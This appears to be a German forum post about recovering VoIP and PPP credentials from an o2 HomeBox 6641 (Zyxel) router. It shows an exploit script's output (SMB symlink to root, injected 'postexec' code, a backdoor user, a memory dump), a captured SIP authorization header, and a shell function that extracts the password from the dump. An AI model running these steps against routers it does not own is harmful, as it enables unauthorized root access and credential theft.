[Problem] o2 HomeBox 6641 daten auslesen

ps | grep ppp

cat /proc/<prozess-id>/cmdline

root@ubuntu:~/Desktop# ./6641.sh
Please enter the IP address or hostname of your HomeBox 2 (Zyxel 6641)
or just press enter to use the default value
Host [o2.box]: 
Please enter the registrar of your VoIP connection
or just press enter to use the default value
Registrar [sip.alice-voip.de]: 
Please enter the phone numbers to search for.
Seperate numbers with space and use the format
 	CCPPPPPPPNNNN
or
 	0PPPPPPPNNNN
(CC=Country-Code, PPPPP=Prefix, NNNN=Number)
For example: 498005900050 498005251378 08005900050 08005251378
If you are not sure, which format is correct for your account,
simply specify both formats for your phone numbers!
Phone numbers: 49XXXXXX 0XXXXXX5 
- trying to ping the box (o2.box)... SUCCESS
- trying to mount the box: //o2.box/DRIVE1_1... SUCCESS
- trying to create symlink (0_link_to_r00t_56157) to root directory... SUCCESS
- trying to unmount /tmp/tmp.Fhms2HAzEF... SUCCESS
- trying to mount the box a second time for exploit preparation... SUCCESS
- trying to append "postexec" code... SUCCESS
- trying to create a user called "bob" with password "alice" SUCCESS
- trying to unmount /tmp/tmp.Fhms2HAzEF... SUCCESS
- trying to mount the box a third time for exploit execution... SUCCESS
- trying to unmount /tmp/tmp.Fhms2HAzEF... SUCCESS
- checking for open port on o2.box:23000... SUCCESS
- dumping memory from box to usb drive
  please be patient: this takes at least 60 seconds...
- trying to mount the box a fourth time to download the memory dump... SUCCESS
- trying to copy PPP username (<BOX-SERIAL>-CC5D4E@.*\.de), a failure here is OK... FAILURE
- trying to copy PPP password (your PIN)...cp: cannot stat ‘/tmp/tmp.Fhms2HAzEF/6441-own_memdump-37239.bin.PIN’: No such file or directory
 FAILURE
Could not copy file!
WRN: Break signalled or aborting script, trying to clean up - this may fail!
rm: cannot remove ‘/tmp/tmp.Dlflkjwwle/6441-own_memdump-37239.bin’: No such file or directory
rm: cannot remove ‘/tmp/tmp.Dlflkjwwle/6441-own_memdump-37239.bin.PIN’: No such file or directory
rm: cannot remove ‘/tmp/tmp.Dlflkjwwle/6441-own_memdump-37239.bin.PPPuser’: No such file or directory
rmdir: failed to remove ‘/tmp/tmp.Fhms2HAzEF’: Device or resource busy
Current smb/cifs mounts are:
Exiting!

Route: <sip:registrar71.sip.alice-voip.de;lr>
From: <sip:[email protected]>;tag=2050512865
To: <sip:[email protected]>
Call-ID: 893807990
CSeq: 26 REGISTER
Contact: <sip:[email protected]:5060;line=672f81abe2049b2>
Authorization: Digest username="Vorwahltelefonnummer", realm="sip.alice-voip.de", nonce="5484520fdb6595f9a5dfd628a9bd0a2e82e22550", uri="sip:sip.alice-voip.de", response="6bb9304fa8db6d1e54b1879d4c61fc1b", algorithm=MD5
Max-Forwards: 70
User-Agent: o2-ZyXEL-1.00(AAJG.0)D3-DSL_IAD_BSA_WLAN
Expires: 4500
Content-Length: 0

Telefonnummer-Nullbytes-Telefonnummer-Nullbytes-Passwort-Nullbytes-Registrar-Nullbytes-Registrar-Nullbytes

# Get the password from a memory dump file
# @param    $1    Memory dump
# @param    $2    Phone number
# @param    $3    Registrar
get_password()
{
    dbg "starting get_password($*)"
    [ $# -eq 3 ] || return 1
    [ -f "$1" ] || return 2
    [ ! -z "$2" ] && [ ! -z "$3" ] || return 3
    tr -cd '\11\12\15\40-\176' <"$1" |\
        sed -n -e "s/^.*$2$2\([[:alnum:]]\{10,33\}\)$3$3.*$/\1/p" | head -1
}